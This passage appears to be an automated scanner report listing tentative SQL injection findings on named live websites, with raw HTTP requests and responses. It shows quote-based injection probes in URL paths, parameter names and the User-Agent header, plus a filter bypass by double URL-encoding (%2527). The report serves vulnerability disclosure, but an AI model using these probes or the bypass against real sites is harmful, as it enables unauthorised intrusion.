GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=' Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 1
HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:45:47 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQABDDDBD=KBNHGACCNMNBEBHCKOMDBKJA; path=/ X-Powered-By: ASP.NET Content-Length: 250 Connection: keep-alive
An error occurred on the server when processing the URL. Please contact the system administrator. <p/> If you are the system administrator please click <a href="http://go.microsoft.com/fwlink/?LinkID= ...[SNIP]...
Request 2
GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q='' Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 2
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:45:46 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQADSABCA=GHPIEGLBDAAABDNKCNEHLBED; path=/ X-Powered-By: ASP.NET Content-Length: 10632 Connection: keep-alive
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://broadent.vo.llnwd.net/o2/subaccount/BroadbandEnterprises/Web/CDE/Player/RichMedia/V2_234x60/AdPlayer_6_NEW.swf?disableCap=1&rotationName=SM_Twix_InBannerVideo&debug=NO&mute=YES Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 1
HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:45:44 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQCBRBTRT=LFAIMPOBCBADPDCFICEFBEBB; path=/ X-Powered-By: ASP.NET Content-Length: 250 Connection: keep-alive
An error occurred on the server when processing the URL. Please contact the system administrator. <p/> If you are the system administrator please click <a href="http://go.microsoft.com/fwlink/?LinkID= ...[SNIP]...
Request 2
GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://broadent.vo.llnwd.net/o2/subaccount/BroadbandEnterprises/Web/CDE/Player/RichMedia/V2_234x60/AdPlayer_6_NEW.swf?disableCap=1&rotationName=SM_Twix_InBannerVideo&debug=NO&mute=YES Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16'' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 2
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:45:42 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDSCBAADCB=KIELIOBCOLOJAGBMKGOLOPEK; path=/ X-Powered-By: ASP.NET Content-Length: 10632 Connection: keep-alive
The rotationId parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the rotationId parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo' HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://broadent.vo.llnwd.net/o2/subaccount/BroadbandEnterprises/Web/CDE/Player/RichMedia/V2_234x60/AdPlayer_6_NEW.swf?disableCap=1&rotationName=SM_Twix_InBannerVideo&debug=NO&mute=YES Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 1
HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:44:54 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDCASAADAC=ECKLFGCCCLOGDOBPEKJCFDLE; path=/ X-Powered-By: ASP.NET Content-Length: 250 Connection: keep-alive
An error occurred on the server when processing the URL. Please contact the system administrator. <p/> If you are the system administrator please click <a href="http://go.microsoft.com/fwlink/?LinkID= ...[SNIP]...
Request 2
GET /Feeds/Generator/2.0/GetAdDirector.asp?disableCap=1&rotationId=SM_Twix_InBannerVideo'' HTTP/1.1 Host: web.vindicosuite.com Proxy-Connection: keep-alive Referer: http://broadent.vo.llnwd.net/o2/subaccount/BroadbandEnterprises/Web/CDE/Player/RichMedia/V2_234x60/AdPlayer_6_NEW.swf?disableCap=1&rotationName=SM_Twix_InBannerVideo&debug=NO&mute=YES Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VINDICOAUDIENCEISSUEDIDENTITY=55be4d72-6815-4aa7-8066-9042bb4a2d39; vpp=55be4d72-6815-4aa7-8066-9042bb4a2d39; ASPSESSIONIDAQRQQTSS=DFJNNOLBDKJPGFEBCIAFJKKI
Response 2
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml Date: Sat, 19 Mar 2011 14:45:04 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDAQDTRBQR=BFDCIDBCBKDPLIFLIOGGHMLB; path=/ X-Powered-By: ASP.NET Content-Length: 25 Connection: keep-alive
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /about/job.htm' HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:59:17 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /about/job.htm'' HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx Date: Sat, 19 Mar 2011 13:59:17 GMT Content-Type: text/html Connection: close Content-Length: 49123
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>ULTIMATE GUITAR TABS ARCHIVE | 300,000+ Guitar Tabs, Bass Tabs, Chords and G ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /bands/t.htm' HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:59:00 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /bands/t.htm'' HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:59:00 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]...
1.19. http://www.ultimate-guitar.com/modules/rss/all_updates.xml.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.ultimate-guitar.com
Path:
/modules/rss/all_updates.xml.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /modules/rss/all_updates.xml.php?1'=1 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:54:31 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /modules/rss/all_updates.xml.php?1''=1 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 19 Mar 2011 13:54:31 GMT Content-Type: text/html Connection: close Location: http://www.ultimate-guitar.com/modules/rss/all_updates.xml Content-Length: 0
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /search/suggest.php%2527 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:59:20 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /search/suggest.php%2527%2527 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx Date: Sat, 19 Mar 2011 13:59:21 GMT Content-Type: text/html Connection: close Content-Length: 49123
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>ULTIMATE GUITAR TABS ARCHIVE | 300,000+ Guitar Tabs, Bass Tabs, Chords and G ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /xtra/click_contest.php?ug_from=main&url=http://app.ultimate-guitar.com/ugt/iphone/ HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527 Connection: close
Response 1
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:54:37 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /xtra/click_contest.php?ug_from=main&url=http://app.ultimate-guitar.com/ugt/iphone/ HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527%2527 Connection: close
Response 2
HTTP/1.1 302 Found Server: nginx Date: Sat, 19 Mar 2011 13:54:37 GMT Content-Type: text/html Connection: close Location: http://app.ultimate-guitar.com/ugt/iphone/ Content-Length: 0
1.22. http://www.ultimate-guitar.com/xtra/click_contest.php [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.ultimate-guitar.com
Path:
/xtra/click_contest.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /xtra/click_contest.php?1'=1 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sat, 19 Mar 2011 13:54:29 GMT Content-Type: text/html Content-Length: 4308 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>Server Busy @ Ultimate-Guitar.Com</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
...[SNIP]... <h1>Error</h1> ...[SNIP]...
Request 2
GET /xtra/click_contest.php?1''=1 HTTP/1.1 Host: www.ultimate-guitar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: nginx Date: Sat, 19 Mar 2011 13:54:30 GMT Content-Type: text/html Connection: close Content-Length: 0
Report generated by XSS.CX at Sat Mar 19 09:55:48 CDT 2011.